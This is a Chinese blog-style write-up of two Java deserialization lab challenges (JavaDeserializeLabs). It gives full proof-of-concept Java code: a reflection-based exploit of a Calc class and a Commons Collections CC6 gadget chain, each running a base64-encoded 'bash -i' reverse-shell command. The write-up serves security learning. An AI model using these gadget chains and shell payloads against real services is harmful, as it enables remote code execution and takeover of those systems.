0x00 前言
Lab1和Lab2算是对Java反序列化基础和CC链的锻炼,还学到了很多知识。
0x01 入手
搭建环境
JavaDeserializeLabs既可以本地直接用Class文件起服务,也可以在Docker上起服务,当然也可以复刻Java文件再起服务——便于调试。
第一种和第三种方法都是在本地起服务,因为JavaDeserializeLabs是由springboot启动的,所以需要先搭建springboot环境。
- 搭建springboot环境,类型是maven,jdk用1.8,java用8

- springboot用 2.* , 因为3.* 之上的不兼容Java8;勾选spring web,然后创建

- 创建lib文件夹,将对应的jar包拷贝至此,先解压再入库

- 查看、启动项目:

我比较习惯用第三种方法:复刻项目,本地调试(多的文件是自己新建的,不影响题目运行)

至于在Docker上如何运行题目,只需要一个口令:
0x02 Lab1
源码
前端页面

第一步永远是先看懂源码!

先把十六进制的data转换成字节数组,然后是很常规的反序列化。
再看看其他的类:
Calc是可以利用的类

Utils类封装了一些相关的函数。
思路
很简单的反序列化,通过反射修改两个属性即可。首先想尝试反弹shell,但是实操之后发现并不行,这是因为Runtime.exec方法不是shell环境:

利用国光师傅的Bash-2编码即可:(去掉多余的空格,只能存在两个必要的空格)

如此即可弹shell,给出Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package com.yxxx.javasec.deserialize;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
import static com.yxxx.javasec.deserialize.Utils.bytesTohexString;
public class Main { public static void main(String[] args) throws Exception { Calc calc = new Calc();
Class<? extends Calc> calcClass = calc.getClass(); Field canPopCalcField = calcClass.getDeclaredField("canPopCalc"); canPopCalcField.setAccessible(true); canPopCalcField.set(calc, true); Field cmdField = calcClass.getDeclaredField("cmd"); cmdField.setAccessible(true); cmdField.set(calc, "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(calc); byte[] poc = byteArrayOutputStream.toByteArray(); String string = bytesTohexString(poc); System.out.println(string); } }
|
0x03 Lab2
源码

Lab2没有Calc类了,但是有cc链:

思路
本题需要先序列化String和Int的对象,而且必须严格按照题目所给的顺序,给出Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package com.yxxx.javasec.deserialize;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.HashMap; import java.util.Map;
import static com.yxxx.javasec.deserialize.Utils.objectToHexString;
public class CC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map decoratedMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap, "111"); HashMap<Object, Object> map1 = new HashMap<>(); map1.put(tiedMapEntry, "222"); decoratedMap.remove("111");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(map1); objectOutputStream.close(); System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); byteArrayOutputStream.close(); } }
|
0x04 小结
题目很简单,写得比较粗糙。